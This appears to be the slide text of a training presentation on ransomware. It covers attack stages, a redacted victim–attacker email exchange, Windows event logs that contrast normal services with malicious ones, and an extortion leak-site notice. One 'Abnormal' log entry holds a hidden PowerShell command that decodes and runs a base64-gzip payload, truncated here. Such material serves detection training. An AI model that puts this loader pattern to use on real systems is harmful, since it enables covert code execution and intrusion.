



# Data theft, doxing, and the sinister new age of ransomware

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2:00 p.m.-2:45 p.m.



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## Ransomware fundamentals

- Infiltration
- Staging and intelligence gathering
- Encryption and, quite possibly, deletion (of backups) and/or exfiltration (of credentials and/or other data)
- Demands
- Negotiations
- Decryption
- Recovery



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----- Original Message -----

On [REDACTED] 2020 [REDACTED], [REDACTED]

How did you attack our servers?

Sent with [ProtonMail](#) Secure Email.

From: [REDACTED] protonmail.ch

To: [REDACTED] @protonmail.com

you have shit IT provider. get new one

**MSSP** was hacked

1 day ago

how did you get in to **MSSP**?

1 day ago

we infected them via email

1 day ago

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Normal



Description:

A service was installed in the system.

Service Name: Microsoft Policy Platform Processor  
Service File Name: "C:\Program Files\Microsoft Policy Platform\policyHost.exe" /service  
Service Type: user mode service  
Service Start Type: demand start  
Service Account: LocalSystem

Description:

A service was installed in the system.

Service Name: Intel(R) HD Graphics Control Panel Service  
Service File Name: %SystemRoot%\System32\DriverStore\FileRepository\%i126583.inf\_amd64\_aa3c71509cf2ed41\gfxCUIService.exe  
Service Type: user mode service  
Service Start Type: auto start  
Service Account: LocalSystem

Description:

A service was installed in the system.

Service Name: McAfee Firewall Core Service  
Service File Name: mfeefire.exe  
Service Type: user mode service  
Service Start Type: demand start  
Service Account: LocalSystem

Abnormal



Description:

A service was installed in the system.

Service Name: veImhCgStSpjRPI  
Service File Name: %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -nori -c "If([Int]Ptr::Size -eq 4) {\$b = powershell.exe} else {\$b = \$env:windir + \"syswow64\WindowsPowerShell\v1.0\powershell.exe\"}; \$s = New-Object System.Diagnostics.ProcessStartInfo; \$s.FileName = \$b; \$s.Arguments = '-nori -nop -w hidden -c &{[scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream([New-Object System.IO.MemoryStream([System.Convert]::FromBase64String(''H4sIAEXS30CA7VWbW/sBD+nEjSD1aFhK0QjANT2kVbs07wQnEQCAUnR27bS+svCRe89brf78x2EmapnftSWfZb07MzvvZDMzduLAEPQhkrjHd9LXs9OTHg6xL8k5e1uQcpGlnJzAZo4YbC99uQpWq1q3McmF1fV+MwJIE4vhebRKAolV6cURLJvSX9OCrkFzcZREEtJXKfdnscn4HLNubFfFkekCxTYyVmxWzhxpWuGBvVysuXvDK90GbF+IQMWSTnzV0kF+0Gcsr0)duXCwVxE5b1Ar5BF3RPGBBuX4yCIseNuwdqaGER4317yCkQBPYERcRhIh3gSA8djOQ/LXsgtZnshiaJ8QZompqez2R/yNL33Pg4E9UmxHQgS8pVjwJw1SFRs4c8m5J44M9A9RUgDd6YbLbmSylngpXgvQ7ZuRbssIQ+1Uf+bUssPVeqBQg2/EaXA7ZuSomX/DUo8As8x+wObt7PTs1Mn48nK27ymCaxOpoc1Ac/kHo/JoQeyzV/CpiBtyBBQ938JohbDfRZs+4SjehpclP9fMmEQ9Zt92JmOOLVnoJHmMsfXlq4k8z8nZY04NCC1XYB9amW8k99CmDIMHEIs2mK34JScTw+DXSOMuFgkmCWJj/kGt7PxrKvHnK8RBZkKQKvIHK984c0yDn24FBfMdo+A7MyznAdpJjpwzfZbn7yCurzicRQWpFOO5WQXJjJgRuyChIKLpEYoFPyzzL+HaMRPUwpHizM2UZyOTC6s8IEQYVW5A3CH5grohFMUuwKEgtahN9Z113uzj/JhJvzBhUAVhaQyZgJ0HAFkQvDxkHmlaBLR9leM+CBzkPwGwy6Uecr1A32wS+z8Dy5mZD4yN0Ejg+GVg5Bk3FRkEY0FNBAEmSBR//t+led4+hINSR0MuSsRkbsTITMzyk3I343oWwKzAGHUAAGIZD7Qo7jh8oxT8iv1DtaRfBM2oEzL

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Normal



Date:		Source:	Microsoft-Windows-Bits-Client
Time:	5:30:31 PM	Category:	None
Type:	Information	Event ID:	3
User:	\SYSTEM		
Computer:			
Description:	The BITS service created a new job. Transfer job: Chrome Component Updater Job ID: {2F1988A6-6554-4900-AFB4-9E89FDD764C6} Owner: Process Path: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe Process ID: 8140		

Malicious



Date:		Source:	Microsoft-Windows-Bits-Client
Time:	10:47:17 PM	Category:	None
Type:	Information	Event ID:	3
User:	\SYSTEM		
Computer:			
Description:	The BITS service created a new job. Transfer job: xxx Job ID: {6D0E0C51-4B3D-4FCE-844A-79B3958052A9} Owner: Process Path: C:\Windows\System32\bitsadmin.exe Process ID: 76		

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## Recent trends

- Software vulnerabilities
- Purchasing victims from other partners
  - RDP marketplaces
  - Trojan operators (Emotet & Trickbot)
- 'Old school' phishing
- Doxxing

## CORPORATE LEAKS

HOME | ACTIVE | FINISHED | ABOUT | CONTACT

### About

This website will contain information that was downloaded from corporate networks that were breached and failed to negotiate with us. The information will usually be leaked in parts, so the company has a chance to stop the leak before all the information is released. All companies have our contacts, other ways to contact us are listed here:

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## Title search: Data Theft, Doxing, and the Sinister New Age of Ransomware

Also available as part of the eCourse

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